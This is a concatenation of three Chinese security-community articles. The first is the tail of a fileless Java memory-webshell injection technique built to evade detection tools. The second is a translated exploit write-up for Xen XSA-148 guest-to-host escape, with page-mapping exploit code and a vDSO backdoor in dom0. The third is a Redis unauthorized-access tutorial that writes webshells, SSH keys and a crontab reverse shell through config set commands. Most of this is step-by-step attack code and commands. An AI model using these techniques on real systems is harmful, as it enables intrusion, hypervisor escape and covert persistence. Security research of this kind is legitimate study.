long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size/symtab_shdr_sh_entsize : 0;
for(long i = 0; i < cnt; ++i) {
fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize*i);
int st_name = Integer.reverseBytes(fin.readInt());
byte st_info = fin.readByte();
byte st_other = fin.readByte();
short st_shndx = Short.reverseBytes(fin.readShort());
long st_value = Long.reverseBytes(fin.readLong());
long st_size = Long.reverseBytes(fin.readLong());
if(st_value == 0
|| st_name == 0
|| (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC))
{
continue;
}
fin.seek(symstr_shdr_sh_offset + st_name);
String name = "";
byte ch = 0;
while((ch = fin.readByte()) != 0)
{
name += (char)ch;
}
if(sym.equals(name))
{
func_ptr = libbase + st_value;
break;
}
}
fin.close();
return func_ptr;
}
}
上面代码是我在游望之的Poc上做了一些修改，如果需要对Linux平台下的Java类字节码进行动态替换，只要实例化上述MemShell类，调用agentForLinux函数即可。agentForLinux函数有两个参数，第一个为需要动态修改的类名，第二个为类的新版本字节码数组。
至此，我们就在无需目标磁盘落地文件的前提下，优雅而又安静的完成了动态修改Java类的能力。为了后续讨论方便，我将这种无需提供Agent.jar或者Agent.so来直接调用JVMTI接口的能力称作AgentNoFile。
### 植入内存马
有了动态修改类字节码的能力，注入内存马就没有障碍了，流程如下：
1. 首先选定需要植入的宿主类，比如weblogic/servlet/internal/ServletStubImpl.class，jakarta/servlet/http/HttpServlet.class,javax/servlet/http/HttpServlet.class。这三个类基本可以覆盖主流的Java web容器了。
2. 读取宿主类的字节码；
3. 往步骤2中的字节码中插入webshell字节码，这一步可以用asm或者Javaassit完成，当然也可以直接硬编码别人植入好的成品；
4. 调用上文中的动态修改类的函数，传递宿主类名和修改过的类字节码数组，植入完成。
上述就是利用AgentNoFile技术植入内存马的一般步骤，当然具体选哪个宿主类可以根据环境自定义，比如选一些比较冷门但是却必现在正常执行流程中的类，这样可以更具隐蔽性。
冰蝎v4.0已集成该能力。
### 后记
通过Java AgentNoFile方式植入的内存马，整个过程中不会有文件在磁盘上落地，而且不会在JVM中新增类，甚至连方法也不会增加。它就像inline
hook一样无色无味。在目前已有的基于反射机制的内存马查杀工具面前，它是隐形的。如果配合我文中介绍的Anti-Attch机制，基于Java
Agent技术的内存马查杀工具也会直接被致盲。
另外，本文标题虽然是讲内存马的注入，实际是提供了一种打通Java到Native层的一个不受约束的通道。利用这个通道，其实能做的事情非常多。
### 参考
1. [利用“进程注入”实现无文件复活 WebShell](https://www.freebuf.com/news/172753.html)
2. [Java内存攻击技术漫谈](https://xz.aliyun.com/t/10075)
3. [Linux下内存马进阶植入技术](https://mp.weixin.qq.com/s/ulINOH4BnwfR7MBc6r5YHQ)
* * * | 社区文章 |
# Xen攻击第二篇：XSA-148--从guest到host
|
##### 译文声明
本文是翻译文章，文章来源：Au2o3t@360云安全团队
原文地址：<http://blog.quarkslab.com/xen-exploitation-part-2-xsa-148-from-guest-to-host.html>
译文仅供参考，具体内容表达以及含义原文为准。
原链: [http://blog.quarkslab.com/xen-exploitation-part-2-xsa-148-from-guest-to-host.html](http://blog.quarkslab.com/xen-exploitation-part-1-xsa-105-from-nobody-to-root.html)
**作者: Jeremie Boutoille**
**译者: Au2o3t/360云安全团队**
**审校: Terence/360云安全团队**
**Xen作现代虚拟化平台的一个重要代表,它的安全性值得全世界黑客的关注。本文将继续介绍
XSA-148[1]的利用,漏洞编号CVE-2015-7835,由阿里巴巴的栾尚聪发现并于2015年10月公开披露。今年年初,漏洞发现者作了一次分享[6]并提供了他巧妙的漏洞利用,这里我们选择继续发表本文的一个主要原因是我们的利用实现有点不一样。**
为更好的理解本文,你可能需要了解一些基本的 x86
内存架构,这里我们尽可能写得详细清晰。本文中我们会先讨论该漏洞,接下来会演示如何通过一个普通的客户机DomU穿透到Dom0 环境中执行任意代码的利用过程。
(文章较长,可以看这里的视频)
(视频见:[https://asciinema.org/a/cwm26vzbjqx0d3eseic51igho)](https://asciinema.org/a/cwm26vzbjqx0d3eseic51igho%EF%BC%89)
**_XSA-148_ _漏洞描述_**
_公告上说_ _[1]_ _:_
_Xen_ _安全公告_ _CVE-2015-7835 / XSA-148_ _,第四版_
_x86_ _:_ _PV_ _客户机不受控的创建大页映射_
_问题描述_
_=============_
_当满足一定条件时,_ _Xen_ _中验证_ _2_ _级页表项的代码将被绕过,_ _PV_ _客户机可以通过大页映射创建可写的内存映射。_
_这将破坏_ _Xen_ _环境中内存页预期的“不变性”,使只读的页面变得可写。_
_即使未使用_ _“allowsuperpage”_ _命令行选项也能够实现上述绕过。_
这里叙述的是2级页表,大页,半虚拟化客户机以及 Xen “不变性”。我们必须理解这些概念。
**
**
**内存管理,页表及大页**
如公告所述,仅 x86
架构的客户机受到影响。这里对x86下的MMU进行介绍。MMU的目的是将虚拟地址(也叫线性地址)转换为物理地址。这是通过使用众所周知的分段和分页机制实现的。
之前发表的 XSA-105[8] 中已经介绍过分段,分页就在分段之后,只是要稍微复杂些。
分页模式有三种,主要区别是不同的可被翻译的线性地址的大小不同,物理地址的大小不同以及页面大小不同。这里我们只讨论 IA-32e 模式,这是 Intel 64
架构的唯一可用模式。
在分页模式下,CR3 寄存器中保存了一个表的物理地址,CPU 取线性地址某些位转换为当前表的条目号,条目中对应给出下一表的物理基址。
如图所示,共有4级页表,它们的命名在 Xen,Linux 和 Intel 术语中各有不同:
公告中提到了大页。如前所述,分页允许映射大小不同的页面,IA-32e让你可以映射 1GB页,2MB 页或者 4KB 页。2MB 页通常被称为大页。其差别在于
L2 的条目,它直接关联到 2MB 页,而不是指向 L1页表。这可以通过设置 L2 条目中的 PSE 标志(此标志在 Intel 文档中被称为 PS
)实现。我们将在本文中努力使用统一的术语,但本文仍将出现这三类术语。
**PV** **客户机和** **MMU**
X86半虚拟化的内存管理在Xen wiki[3]上有比较详细的介绍。基本上,你需要知道的是:
·PV 客户机内核运行在3环,
·PV 客户机使用直接分页:Xen 不为伪物理内存和实机地址之间增加抽象层,
·PV 客户机需执行超级调用(HYPERVISOR_mmu_update)来更新页表,
·每次执行 HYPERVISOR_mmu_update 时,Xen 检查“不变性”,如:“一个已被引用的页如L4/L3/L2 /
L1不能被另一个虚拟地址映射为可写的”。这些“不变性”必须得到保证,以确保客户机不能破坏整个系统。
**漏洞**
有了以上知识,我们就不难理解公告内容了。似乎有可能创建一个可写的页表,之后,由于直接分页,那么就可以以读写权限映射任意宿主机的页面到客户机虚拟内存了。
我们来看看补丁的差异:
x86: guard against undue super page PTE creation
When optional super page support got added (commit bd1cd81d64 "x86: PV
support for hugepages"), two adjustments were missed: mod_l2_entry()
needs to consider the PSE and RW bits when deciding whether to use the
fast path, and the PSE bit must not be removed from L2_DISALLOW_MASK
unconditionally.
This is XSA-148.
Signed-off-by: Jan Beulich <[email protected]>
Reviewed-by: Tim Deegan <[email protected]>
--- a/xen/arch/x86/mm.c
+++ b/xen/arch/x86/mm.c
@@ -160,7 +160,10 @@ static void put_superpage(unsigned long
static uint32_t base_disallow_mask;
/* Global bit is allowed to be set on L1 PTEs. Intended for user mappings. */
#define L1_DISALLOW_MASK ((base_disallow_mask | _PAGE_GNTTAB) & ~_PAGE_GLOBAL)
-#define L2_DISALLOW_MASK (base_disallow_mask & ~_PAGE_PSE)
+
+#define L2_DISALLOW_MASK (unlikely(opt_allow_superpage)
+ ? base_disallow_mask & ~_PAGE_PSE
+ : base_disallow_mask)
#define l3_disallow_mask(d) (!is_pv_32bit_domain(d) ?
base_disallow_mask : 0xFFFFF198U)
@@ -1841,7 +1844,10 @@ static int mod_l2_entry(l2_pgentry_t *pl
}
/* Fast path for identical mapping and presence. */
- if ( !l2e_has_changed(ol2e, nl2e, _PAGE_PRESENT) )
+ if ( !l2e_has_changed(ol2e, nl2e,
+ unlikely(opt_allow_superpage)
+ ? _PAGE_PSE | _PAGE_RW | _PAGE_PRESENT
+ : _PAGE_PRESENT) )
{
adjust_guest_l2e(nl2e, d);
if ( UPDATE_ENTRY(l2, pl2e, ol2e, nl2e, pfn, vcpu, preserve_ad) )
L2_DISALLOW_MASK 从 base_disallow_mask 中去掉 PSE 标志,在这里:
void __init arch_init_memory(void)
{
unsigned long i, pfn, rstart_pfn, rend_pfn, iostart_pfn, ioend_pfn;
/* Basic guest-accessible flags: PRESENT, R/W, USER, A/D, AVAIL[0,1,2] */
base_disallow_mask = ~(_PAGE_PRESENT|_PAGE_RW|_PAGE_USER|
_PAGE_ACCESSED|_PAGE_DIRTY|_PAGE_AVAIL);
因此,若没有补丁,客户机可以采用快速路径设置 L2 条目中的 PSE 标志,即使未设置 “allowsuperpage”选项。
若条目以及 _PAGE_PRESENT 未变,仅采用快速路径:
/* Update the L2 entry at pl2e to new value nl2e. pl2e is within frame pfn. */
static int mod_l2_entry(l2_pgentry_t *pl2e,
l2_pgentry_t nl2e,
unsigned long pfn,
int preserve_ad,
struct vcpu *vcpu)
{
l2_pgentry_t ol2e;
struct domain *d = vcpu->domain;
struct page_info *l2pg = mfn_to_page(pfn);
unsigned long type = l2pg->u.inuse.type_info;
int rc = 0;
if ( unlikely(!is_guest_l2_slot(d, type, pgentry_ptr_to_slot(pl2e))) )
{
MEM_LOG("Illegal L2 update attempt in Xen-private area %p", pl2e);
return -EPERM;
}
if ( unlikely(__copy_from_user(&ol2e, pl2e, sizeof(ol2e)) != 0) )
return -EFAULT;
if ( l2e_get_flags(nl2e) & _PAGE_PRESENT )
{
if ( unlikely(l2e_get_flags(nl2e) & L2_DISALLOW_MASK) )
{
MEM_LOG("Bad L2 flags %x",
l2e_get_flags(nl2e) & L2_DISALLOW_MASK);
return -EINVAL;
}
/* Fast path for identical mapping and presence. */
if ( !l2e_has_changed(ol2e, nl2e, _PAGE_PRESENT) )
{
adjust_guest_l2e(nl2e, d);
if ( UPDATE_ENTRY(l2, pl2e, ol2e, nl2e, pfn, vcpu, preserve_ad) )
return 0;
return -EBUSY;
}
整合起来,漏洞利用过程如下:
·取一个虚拟地址,
·设置其对应的 L2 条目中的 PSE 标志,
·以写权限访问整个 L1表 并构造表项绕过 Xen “不变性”,
·取消之前设置的 PSE 标志,
·访问任意物理页 :)。
QubesOS 的公告也有此漏洞的详细解释[4]。
**
**
**利用**
**映射任意实机页面**
我相信你掌握了实质,但这里仍有一个小问题:当 PSE 标志在 L2 条目中被设置,一些 L1地址的保留位应保持清除。
因此,需要找到一个保留位为0的可用的页帧号。 这可以通过Linux 分配器使用 __get_free_pages 函数请求 2MB连续内存来完成。
// get an aligned mfn
aligned_mfn_va = (void*) __get_free_pages(__GFP_ZERO, 9);
DEBUG("aligned_mfn_va = %p", aligned_mfn_va);
DEBUG("aligned_mfn_va mfn = 0x%lx", __machine_addr(aligned_mfn_va));
page_walk((unsigned long) aligned_mfn_va);
2MB 内存映射的PSE 标记已经被设置,我们需要预备 2MB 虚拟内存,因为我们不希望其他客户机与那些虚拟地址交互。
// get a 2Mb virtual memory
l2_entry_va = (void*) __get_free_pages(__GFP_ZERO, 9);
DEBUG("l2_entry_va = %p", l2_entry_va);
DEBUG("l2_entry_va mfn = 0x%lx", __machine_addr(l2_entry_va));
page_walk((unsigned long) l2_entry_va);
现在,取保留位为0的页帧号,并用在我们预备的 2MB 虚拟地址范围的 L2 值。这是必须的,因为这个预备的范围的 L2
值的保留位已置为1。因对齐的页帧号在别的地方映射为写权限,我们必须取消对应条目的 RW 标志来保持 Xen “不变性”。这些在 startup_dump
函数中实现:
int startup_dump(unsigned long l2_entry_va, unsigned long aligned_mfn_va)
{
pte_t *pte_aligned = get_pte(aligned_mfn_va);
pmd_t *pmd = get_pmd(l2_entry_va);
int rc;
// removes RW bit on the aligned_mfn_va's pte
rc = mmu_update(__machine_addr(pte_aligned) | MMU_NORMAL_PT_UPDATE, pte_aligned->pte & ~_PAGE_RW);
if(rc < 0)
{
printk("cannot unset RW flag on PTE (0x%lx)n", aligned_mfn_va);
return -1;
}
// map.
rc = mmu_update(__machine_addr(pmd) | MMU_NORMAL_PT_UPDATE, (__mfn((void*) aligned_mfn_va) << PAGE_SHIFT) | PMD_FLAG);
if(rc < 0)
{
printk("cannot update L2 entry 0x%lxn", l2_entry_va);
return -1;
}
return 0;
}
如此,我们能够使用 do_page_buff 函数读写任意实物理页面了:
void do_page_buff(unsigned long mfn, char *buff, int what)
{
set_l2_pse_flag((unsigned long) l2_entry_va);
*(unsigned long*) l2_entry_va = (mfn << PAGE_SHIFT) | PTE_FLAG;
unset_l2_pse_flag((unsigned long) l2_entry_va);
if(what == DO_PAGE_READ)
{
memcpy(buff, l2_entry_va, PAGE_SIZE);
}
else if (what == DO_PAGE_WRITE)
{
memcpy(l2_entry_va, buff, PAGE_SIZE);
}
set_l2_pse_flag((unsigned long) l2_entry_va);
*(unsigned long*) l2_entry_va = 0;
unset_l2_pse_flag((unsigned long) l2_entry_va);
}
**
**
**dom0** **中执行代码**
好了,我们能够读写任意实物理页面了,困难的是找到一些有趣的东西。dom0
的页目录是个不错的目标,这应该让我们解决任何虚拟地址到对应的物理页的映射,那时可以写入进程内存来执行一些任意代码,或是在任意进程中发现一个有趣的页面映射(如
vDSO ;))。
由于 Xen 的内存布局,很容易找到一个像页目录的页面(xen/include/asm-x86/config.h):
/*
* Memory layout:
* 0x0000000000000000 - 0x00007fffffffffff [128TB, 2^47 bytes, PML4:0-255]
* Guest-defined use (see below for compatibility mode guests).
* 0x0000800000000000 - 0xffff7fffffffffff [16EB]
* Inaccessible: current arch only supports 48-bit sign-extended VAs.
* 0xffff800000000000 - 0xffff803fffffffff [256GB, 2^38 bytes, PML4:256]
* Read-only machine-to-phys translation table (GUEST ACCESSIBLE).
* 0xffff804000000000 - 0xffff807fffffffff [256GB, 2^38 bytes, PML4:256]
* Reserved for future shared info with the guest OS (GUEST ACCESSIBLE).
* 0xffff808000000000 - 0xffff80ffffffffff [512GB, 2^39 bytes, PML4:257]
* ioremap for PCI mmconfig space
* 0xffff810000000000 - 0xffff817fffffffff [512GB, 2^39 bytes, PML4:258]
* Guest linear page table.
* 0xffff818000000000 - 0xffff81ffffffffff [512GB, 2^39 bytes, PML4:259]
* Shadow linear page table.
* 0xffff820000000000 - 0xffff827fffffffff [512GB, 2^39 bytes, PML4:260]
* Per-domain mappings (e.g., GDT, LDT).
* 0xffff828000000000 - 0xffff82bfffffffff [256GB, 2^38 bytes, PML4:261]
* Machine-to-phys translation table.
* 0xffff82c000000000 - 0xffff82cfffffffff [64GB, 2^36 bytes, PML4:261]
* vmap()/ioremap()/fixmap area.
* 0xffff82d000000000 - 0xffff82d03fffffff [1GB, 2^30 bytes, PML4:261]
* Compatibility machine-to-phys translation table.
* 0xffff82d040000000 - 0xffff82d07fffffff [1GB, 2^30 bytes, PML4:261]
* High read-only compatibility machine-to-phys translation table.
* 0xffff82d080000000 - 0xffff82d0bfffffff [1GB, 2^30 bytes, PML4:261]
* Xen text, static data, bss.
#ifndef CONFIG_BIGMEM
* 0xffff82d0c0000000 - 0xffff82dffbffffff [61GB - 64MB, PML4:261]
* Reserved for future use.
* 0xffff82dffc000000 - 0xffff82dfffffffff [64MB, 2^26 bytes, PML4:261]
* Super-page information array.
* 0xffff82e000000000 - 0xffff82ffffffffff [128GB, 2^37 bytes, PML4:261]
* Page-frame information array.
* 0xffff830000000000 - 0xffff87ffffffffff [5TB, 5*2^40 bytes, PML4:262-271]
* 1:1 direct mapping of all physical memory.
#else
* 0xffff82d0c0000000 - 0xffff82ffdfffffff [188.5GB, PML4:261]
* Reserved for future use.
* 0xffff82ffe0000000 - 0xffff82ffffffffff [512MB, 2^29 bytes, PML4:261]
* Super-page information array.
* 0xffff830000000000 - 0xffff847fffffffff [1.5TB, 3*2^39 bytes, PML4:262-264]
* Page-frame information array.
* 0xffff848000000000 - 0xffff87ffffffffff [3.5TB, 7*2^39 bytes, PML4:265-271]
* 1:1 direct mapping of all physical memory.
#endif
* 0xffff880000000000 - 0xffffffffffffffff [120TB, PML4:272-511]
* PV: Guest-defined use.
* 0xffff880000000000 - 0xffffff7fffffffff [119.5TB, PML4:272-510]
* HVM/idle: continuation of 1:1 mapping
* 0xffffff8000000000 - 0xffffffffffffffff [512GB, 2^39 bytes PML4:511]
* HVM/idle: unused
*
* Compatibility guest area layout:
* 0x0000000000000000 - 0x00000000f57fffff [3928MB, PML4:0]
* Guest-defined use.
* 0x00000000f5800000 - 0x00000000ffffffff [168MB, PML4:0]
* Read-only machine-to-phys translation table (GUEST ACCESSIBLE).
* 0x0000000100000000 - 0x0000007fffffffff [508GB, PML4:0]
* Unused.
* 0x0000008000000000 - 0x000000ffffffffff [512GB, 2^39 bytes, PML4:1]
* Hypercall argument translation area.
* 0x0000010000000000 - 0x00007fffffffffff [127TB, 2^46 bytes, PML4:2-255]
* Reserved for future use.
*/
如你接下来要看到的,每个半虚拟化客户机都有一些与 Xen 有关的表映射到其自身的虚拟内存:机器地址到物理地址转换表,Xen
代码等。这些映射对每一个客户机而言都是一样的,我们可以尝试寻找物理页,它在于客户机相同的偏移处具有相同的值。同时,由于 dom0 使用的是半虚拟化
Linux 内核,偏移 510 和 511 不应被置为0(0xFFFFFFFF……地址)。这也是我们正在做的,以找到一个潜在的页目录:
for(page=0; page<MAX_MFN; page++)
{
dump_page_buff(page, buff);
if(current_tab[261] == my_pgd[261] &&
current_tab[262] == my_pgd[262] &&
current_tab[511] != 0 &&
current_tab[510] != 0 &&
__mfn(my_pgd) != page)
{
...
}
}
有一个潜在的页目录是不够的,我们要肯定的它是 dom0 的页目录。
解决方案就在 start_info 结构中。这种结构会在 Xen 启动时自动映射在每个半虚拟化客户机(包括 dom0)的虚拟地址空间,且包含一些有用的信息:
struct start_info {
char magic[32]; /* "xen-<version>-<platform>". */
...
uint32_t flags; /* SIF_xxx flags. */
...
};
你可以看到,start_info 结构起始处有个魔数,包含标记字段。我们只需要解析整个页目录对应的页开始处的魔数:
int is_startup_info_page(char *page_data)
{
int ret = 0;
char marker[] = "xen-3.0-x86";
if(memcmp(page_data, marker, sizeof(marker)-1) == 0)
{
ret = 1;
}
return ret;
}
可以通过检查 SIF_INITDOMAIN 标志是否设置来判断页目录是否属于 dom0。
for(page=0; page<MAX_MFN; page++)
{
dump_page_buff(page, buff);
if(current_tab[261] == my_pgd[261] &&
current_tab[262] == my_pgd[262] &&
current_tab[511] != 0 &&
current_tab[510] != 0 &&
__mfn(my_pgd) != page)
{
tmp = find_start_info_into_L4(page, (pgd_t*) buff);
if(tmp != 0)
{
// we find a valid start_info page
DEBUG("start_info page : 0x%x", tmp);
dump_page_buff(tmp, buff);
if(start_f->flags & SIF_INITDOMAIN)
{
DEBUG("dom0!");
} else {
DEBUG("not dom0");
}
}
}
}
这样,我们可以如同 scumjr 的 SMM后门[5]一样,在 dom0 的 vDSO 中设置后门了。在他的博文中说,vDSO 库由 Linux
内核映射到每个用户进程,很容易发现它。因此,我们只需要解析一次页目录,搜索 vDSO 并给它植入一个后门。
if(start_f->flags & SIF_INITDOMAIN)
{
DEBUG("dom0!");
dump_page_buff(page, buff);
tmp = find_vdso_into_L4(page, (pgd_t*) buff);
if(tmp != 0)
{
DEBUG("dom0 vdso : 0x%x", tmp);
patch_vdso(tmp);
DEBUG("patch.");
break;
}
}
演示:[https://asciinema.org/a/cwm26vzbjqx0d3eseic51igho](https://asciinema.org/a/cwm26vzbjqx0d3eseic51igho)
完整利用:[http://blog.quarkslab.com/resources/2016-07-12_xsa-148/code/xsa148_exploit.tar.gz](http://blog.quarkslab.com/resources/2016-07-12_xsa-148/code/xsa148_exploit.tar.gz)
**
**
**结论**
这个可能是 Xen 有史以来最严重的漏洞,它在被发现前已经存在了7年。如本文所述,利用它来实现 dom0 内代码执行并不难。可以做比修补 vDSO
更多的事,如栾尚聪选择的是超级调用页。
原来这第二部分应该是最后一篇……但我们最近发现了一个新的漏洞可以让客户机逃逸。相关公告已经在昨天公开披露(XSA-182[9],CVE-2016-6258[10]),下篇我们将介绍如何编写一个完整的利用。敬请关注!
[1] (1, 2)
[http://xenbits.xen.org/xsa/advisory-148.html](http://xenbits.xen.org/xsa/advisory-148.html)
[2]
[http://download.intel.com/design/processor/manuals/253668.pdf](http://download.intel.com/design/processor/manuals/253668.pdf)
[3]
[http://wiki.xen.org/wiki/X86_Paravirtualised_Memory_Management](http://wiki.xen.org/wiki/X86_Paravirtualised_Memory_Management)
[4] [https://github.com/QubesOS/qubes-secpack/blob/master/QSBs/qsb-022-2015.txt](https://github.com/QubesOS/qubes-secpack/blob/master/QSBs/qsb-022-2015.txt)
[5] [https://scumjr.github.io/2016/01/10/from-smm-to-userland-in-a-few-bytes/](https://scumjr.github.io/2016/01/10/from-smm-to-userland-in-a-few-bytes/)
[6] (1, 2) [https://conference.hitb.org/hitbsecconf2016ams/sessions/advanced-exploitation-xen-hypervisor-vm-escape/](https://conference.hitb.org/hitbsecconf2016ams/sessions/advanced-exploitation-xen-hypervisor-vm-escape/)
[7] [https://www.blackhat.com/us-16/briefings.html#ouroboros-tearing-xen-hypervisor-with-the-snake](https://www.blackhat.com/us-16/briefings.html#ouroboros-tearing-xen-hypervisor-with-the-snake)
[8] [http://blog.quarkslab.com/xen-exploitation-part-1-xsa-105-from-nobody-to-root.html](http://blog.quarkslab.com/xen-exploitation-part-1-xsa-105-from-nobody-to-root.html)
[9]
[http://xenbits.xen.org/xsa/advisory-182.html](http://xenbits.xen.org/xsa/advisory-182.html)
[10] [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6258](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6258) | 社区文章 |
# 前言
本文主要以redis未授权和redis弱口令漏洞为前提进行利用方式的讲解。
# 环境准备
### 测试环境
redis服务器
操作系统：Ubuntu 20.04 LTS
数据库：Redis
Web容器：Apache 2.4.41
脚本语言：PHP 7.4.3
攻击机
kali-rolling 2020.2
## Redis数据库安装
Redis数据库下载地址:[Redis_download](https://download.redis.io/releases/)
解压下载好的redis压缩文件,进去redis文件夹，执行命令完成安装。
tar -zxvf redis-4.0.0.tar.gz
cd redis-4.0.0/
sudo make
cd /src
sudo make install
修改`redis.conf`文件，让redis数据库支持外链接，这里我将`bind 127.0.0.1`改为服务器ip地址。
将`daemonize`改为yes，设置成作为后台进程运行。
如果以守护进程运行，则不会在命令行阻塞，类似于服务。
如果以非守护进程运行，则当前终端被阻塞。
执行`redis-server`启动redis数据库。
也可以通过执行`redis-server redis-4.0.0/redis.conf`加载redis.conf配置文件后台启动redis。
默认情况下redis是没配置密码的，直接通过kali进行连接然后执行`info`。
完成redis数据库安装。
## Apache和php安装
sudo apt install apache2 安装apache服务
service apache2 status 查看apache服务状态
服务为绿色，Apache服务为开启状态。
或者访问localhost查看开启状态，有apache默认页面及正常启动。
默认情况下是监听80端口，若80端口被占用，可以修改`/etc/apache2/ports.conf`内容来修改监听端口。我这里将常用的配置文件简单列出来。
/etc/apache2/ports.conf apache服务端口
/etc/apache2/sites-available/000-default.conf 网站根目录
/etc/apache2/mods-available/dir.conf 网站默认页面
安装php并且让apache解析php文件。
sudo apt install php libapache2-mod-php 安装php
执行命令`php -v`查看php版本。
进入网站目录并给网站目录加权限，创建一个php文件对其进行访问，看apache是否成功解析php文件。
cd /var/www/
sudo chmod 777 html/
cd html/
echo '<?php phpinfo();' > 1.php
访问1.php，若出现phpinfo页面则表示apache成功过解析php文件。
若没有解析成功,执行`sudo apt install libapache2-mod-php7.4`安装解析mod。(这里以php7.4为例子)
# 连接方式
对于个人而言，常用的`Redis`数据库的连接方式为：`redis-cli`、`Redis Desktop
Manager`和蚁剑的`redis数据库插件`，通过这三种方式链接过后可以进行数据库的一些命令操作，接下来我就简单的进行这三种方式连接、执行命令的一个演示。
## redis-cli
sudo apt install redis 安装redis服务
redis-cli -h host -p port -a password 连接redis数据库
ip:6379> info 查看redis数据库信息
通过执行`info`命令可以获取数据库相关信息，主要需要得到的信息就是目标的一个操作系统，还有redis数据库的版本。
## Redis Desktop Manage
打开Redis Desktop Manage点击连接到redis服务器，进行目标信息的填写。
测试连接
点击确定，然后打开刚刚创建的连接，`ctrl+T`或者点击打开控制台，进行命令执行。
执行`info`命令。
## 蚁剑redis数据库插件
打开蚁剑->点击`antsword`->选择插件市场->Redis管理，进行插件的安装。
要利用这个插件，首先需要一个shell，这个shell可以是目标，也可以是其他的shell。
这里就直接在目标服务器上创建一个`shell.php`的文件，蚁剑直接进行连接。
选中添加的shell->加载插件->数据库管理->Redis管理
这里也可以将插件放在首页。点击设置->勾选插件->save，这样选中shell之后，点击上面的按钮就可以方便的使用插件了。
打开插件后，先点击左上角添加，填写目标redis数据库ip和端口，这里我们利用的是目标服务器上的shell，所以这里选择127.0.0.1:6379，若用的其他shell，这里填写目标的ip和端口即可。
打开创建的连接，选中其中一个db，右键，点击执行命令。
执行`info`命令。
# 利用方式
我会在讲解利用方式的同时进行三种连接方式的演示和讲解利用方式的优劣。
环境:
* 数据库版本:3.0.0
## 写入webshell
必要条件：
* 知道网站绝对路径
* 拥有网站目录写入权限
**redis-cli**
连接数据库，查看信息。
redis-cli -h 192.168.111.135
192.168.111.135:6379> info
查看所有键，创建新键，键值为webshell，这里我写入phpinfo进行一个演示。
因为创建新键赋键值会把原来的键值覆盖，所以需要在赋值的时候需要查看所有的键，然后选择一个没有的键创建赋值。
查看redis数据库配置信息。
因为我们写Webshell会修改`dir`和`dbfilename`，所以这里查看配置信息主要记下原来的值，好在写入后修改回来。
设置webshell输出目录和文件名，然后写入Webshell。
还原数据库配置。
keys * 查看所有键
set x "\n<?php phpinfo();>\n" 创建x键并且赋值
config get * 查看设置默认值
config set dir /var/www/html 设置文件写入目录
config set dbfilename 1.php 设置写入文件名
save 保存，完成文件写入
del x 删除创建的x键
config set dir /home/cooltige/redis-3.0.0 设置回原来的目录
config set dbfilename dump.rdb 设置回原来的文件名
**Redis Desktop Manager**
步骤和redis-cli差不多。
打开创建的连接，所有存在的键，都会在左边进行一个显示。从这里我们可以看到，`redis-cli`创建的键，默认是选中的`db0`。
查看配置`config get *`
设置shell导出目录和文件名，完成shell写入。
**蚁剑redis数据库插件**
在实际环境中，都已经有了shell了，就没有必要进行webshell的写入。这里我演示就相当于这个shell不是目标的shell。
蚁剑可以通过`keys *`和看左边进行一个键的查看。
步骤都差不多的，我这里直接演示写shell。
通过服务器查看蚁剑写入的文件。
可以看到我们给`w`键赋值的是`"\n<?php phpinfo();?>\n"`但是写入文件后，`\`不见了。
通过`get w`，可以看到我们在设置键值的时候`\`就未设置上，所以在写入文件后`\`是不存在的。
将一个`\`变成`\\`就可以成功写入完整内容。
我通过三种方式写入同样的内容到服务器上（键值都有\n），然后进行了一个对比。
phpinfo.php为redis-cli写的。
ant.php为蚁剑插件写的。
manager.php为Redis Desktop Manager写的。
可以看到，只有通过`redis-cli`写入，`\n`在写入的时候才会被当作为换行。
在这里写入webshell，没有影响，不过在下面的利用方式中就会有很大的影响。
## 写入ssh公钥
必要条件:
* 知道启动服务的用户
* 拥有.ssh目录
* 允许使用基于密钥认证的方式登陆
环境：
* redis 3.0.0
这里主要讲解2种生成密钥的方法：
* ssh-keygen
* xshell
**ssh-keygen**
输入命令，填写公钥私钥文件名，其中密码可以为空。
.pub扩展名为我们需要写入的公钥
ssh-keygen -t rsa 生成公钥和私钥
在上面写入webshell中，可以看到我们写入到文件中，文件不会只有我们写入的内容，所以这里需要将公钥的内容进行一个补充，在头尾加入换行符。
**xshell**
打开xshell->左上角点击文件->新建->用户身份认证->方法选`public key`->用户密钥处点击浏览就可以开始生成私钥和公钥了
点击生成然后下一步下一步，填写公钥私钥的文件名称，然后下一步(密码可以为空)。
点击下一步，可以看到框里面的就是私钥的内容，和上面ssh-keygen的私钥差不多。
在头尾加入换行符就准备好写入的内容了。
**redis-cli**
步骤和写入webshell差不多。
查看所有键值，创建新建并且赋值，这里我创建2个键，x为`xshell`生成的公钥，s为`ssh-keygen`生成的公钥。
设置写入文件路径，文件名称，完成公钥的写入。
若为root启动redis服务，那么文件路径设置为`/root/.ssh`。
若为redis或者其他用户启动，那设置为`/home/user/.ssh`。
成功写入后，直接利用ssh或者xshell进行连接即可。
**ssh连接**
ssh -i 私钥 user@ip
**xshell连接**
方法选为public key，选择上传的公钥对应的私钥。
keys * 查看所有键
set x "\n\n公钥内容\n\n" 创建x键并且赋值
config get * 查看设置默认值
config set dir /home/cooltige/.ssh 设置文件写入目录
config set dbfilename authorized_keys 设置写入文件名
save 保存，完成文件写入
del x 删除创建的x键
config set dir /home/cooltige/redis-3.0.0 设置回原来的目录
config set dbfilename dump.rdb 设置回原来的文件名
**Redis Desktop Manager**
方法步骤都差不多，这里我就直接演示写入成功和连接状态。
连接失败。查看服务器上文件写入的内容。
可以看到`\n`和写入webshell的效果一样的，没有被当作为换行符，公钥写入和webshell不一样，公钥之间以换行符进行区分，这个地方将所有的内容当成为公钥了，所以没办法进行一个连接。
不过我们可以在创建键的时候，通过回车代替`\n`达到一个换行符的效果。
**蚁剑redis数据库插件**
蚁剑redis数据库插件通过set的方式创建键值然后写入公钥，结果显而易见，也是没办法进行一个连接的。所以我们通过右键新增key来进行键值的创建。
同redis desktop manager一样用回车代替`\n`。
执行剩下的操作，写入公钥。
连接成功。
## 写定时任务反弹shell
必要条件:
* 拥有计划任务目录写权限
* 目标启动计划服务
环境：
* redis 3.0.0
* CentOS Linux release 7.8.2003 (Core)
写计划任务必须拥有计划任务目录的写权限，所有这里以Root进行redis服务的启动。
kali进行一个监听 `nc -lvp 8986`.
这里主要以`redis-cli`连接方式进行演示。剩下2种方式操作参考上面就行了。
设置键并且赋值，设置文件输出目录，设置输出文件名，这里是以root启动服务，所有文件名就设置为root。
